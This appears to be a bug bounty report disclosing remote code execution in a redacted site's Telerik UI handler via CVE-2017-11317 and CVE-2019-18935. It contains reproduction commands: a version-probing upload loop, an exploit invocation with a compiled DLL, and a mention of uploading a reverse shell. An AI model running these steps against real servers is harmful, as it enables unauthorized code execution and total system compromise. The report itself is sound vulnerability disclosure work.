Remote Code Execution via CVE-2019-18935

**Summary:** The website at https://█████████/apps/XTRAHome/Telerik.Web.UI.WebResource.axd?type=rau is vulnerable to CVE-2017-11317 and CVE-2019-18935, allowing an attacker to upload arbitrary files and gain remote code execution on the underlying system. ## Step-by-step Reproduction Instructions 1. Browse to https://█████/apps/XTRAHome/Telerik.Web.UI.WebResource.axd?type=rau. You will see the following message confirming that the file upload handler is registered: `{ "message" : "RadAsyncUpload handler is registered succesfully, however, it may not be accessed directly." }` 2. From here on out I used the write-up at https://labs.bishopfox.com/tech-blog/cve-2019-18935-remote-code-execution-in-telerik-ui for reference. 3. With a slight modification to the script in the BishopFox write-up, I was able to determine the software version: ``` echo 'test' > testfile.txt for VERSION in $(cat versions.txt); do echo -n "$VERSION: " python3 RAU_crypto.py -P 'C:\Windows\Temp' "$VERSION" testfile.txt https://█████/apps/XTRAHome/Telerik.Web.UI.WebResource.axd?type=rau 2>/dev/null | grep fileInfo || echo done ``` The `versions.txt` file I used has been attached to this report for ease of replication. 4. As shown in the results, the version is vulnerable to CVE-2017-11317 and I was able to successfully upload the `testfile.txt`. ██████████ 5. Next, on a Windows system with Visual Studio installed, compile a dll using `build_dll.bat` as shown in the BishopFox article. 6. Using `python3 CVE-2019-18935.py -u https://████/apps/XTRAHome/Telerik.Web.UI.WebResource.axd?type=rau -v 2016.2.607 -f 'C:\Windows\Temp' -p <your_created_dll>.dll`, if you compiled using the PoC in the article you should be able to make the server hang for around 10 seconds. 7. Once the sleep is over, the server should respond with a similar message as follows: `[*] Response time: 12.34 seconds` showing the server is vulnerable to CVE-2019-18935. 8. At this point you can upload a reverse shell payload, but I feel the sleep PoC is good enough to prove RCE. ## Product, Version, and Configuration (If applicable) Telerik UI 2016.2.607 ## References https://labs.bishopfox.com/tech-blog/cve-2019-18935-remote-code-execution-in-telerik-ui https://github.com/bao7uo/RAU_crypto https://github.com/noperator/CVE-2019-18935 https://hackerone.com/reports/838196 ## Suggested Mitigation/Remediation Actions Follow recommended fix actions at https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization ## Impact Remote Code Execution/Total system compromise.